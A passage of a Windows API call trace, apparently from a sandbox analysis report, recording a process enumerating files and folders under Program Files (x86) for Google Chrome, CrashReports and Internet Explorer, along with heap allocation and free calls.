ftLastWriteTime.dwLowDateTime=0xff57cc70, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x440df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9c6b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9c6b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff588fc5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="WIDEVI~1.SIG")) returned 1 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77b158ce, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~2.DLL")) returned 1 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 1 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 0 [0249.614] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0249.615] GetProcessHeap () returned 0x550000 [0249.615] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0249.615] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0 [0249.615] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0249.616] GetProcessHeap () returned 0x550000 [0249.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0249.616] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0249.616] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0249.616] GetProcessHeap () returned 0x550000 [0249.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.616] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0249.616] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0249.616] GetProcessHeap () returned 0x550000 [0249.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0249.617] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0249.617] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0249.618] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0249.618] GetProcessHeap () returned 0x550000 [0249.618] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0249.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0249.618] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.618] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 1 [0249.618] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 0 [0249.618] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0249.619] GetProcessHeap () returned 0x550000 [0249.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0249.619] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0249.619] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0249.619] GetProcessHeap () returned 0x550000 [0249.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0249.619] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0249.619] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0249.619] GetProcessHeap () returned 0x550000 [0249.619] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0249.619] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0249.619] GetProcessHeap () returned 0x550000 [0249.619] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0249.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0249.620] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.620] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.620] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0249.620] GetProcessHeap () returned 0x550000 [0249.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0249.620] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbebf7550, ftCreationTime.dwHighDateTime=0x1d5e11c, ftLastAccessTime.dwLowDateTime=0xf32dc0c0, ftLastAccessTime.dwHighDateTime=0x1d5851f, ftLastWriteTime.dwLowDateTime=0xf32dc0c0, ftLastWriteTime.dwHighDateTime=0x1d5851f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="impression.exe", cAlternateFileName="IMPRES~1.EXE")) returned 1 [0249.620] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbebf7550, ftCreationTime.dwHighDateTime=0x1d5e11c, ftLastAccessTime.dwLowDateTime=0xf32dc0c0, ftLastAccessTime.dwHighDateTime=0x1d5851f, ftLastWriteTime.dwLowDateTime=0xf32dc0c0, ftLastWriteTime.dwHighDateTime=0x1d5851f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="impression.exe", cAlternateFileName="IMPRES~1.EXE")) returned 0 [0249.620] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0249.620] GetProcessHeap () returned 0x550000 [0249.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0249.621] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0249.621] GetProcessHeap () returned 0x550000 [0249.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0249.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0249.622] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.622] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0249.622] GetProcessHeap () returned 0x550000 [0249.622] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0249.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0249.623] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0249.623] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0249.624] GetProcessHeap () returned 0x550000 [0249.624] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, 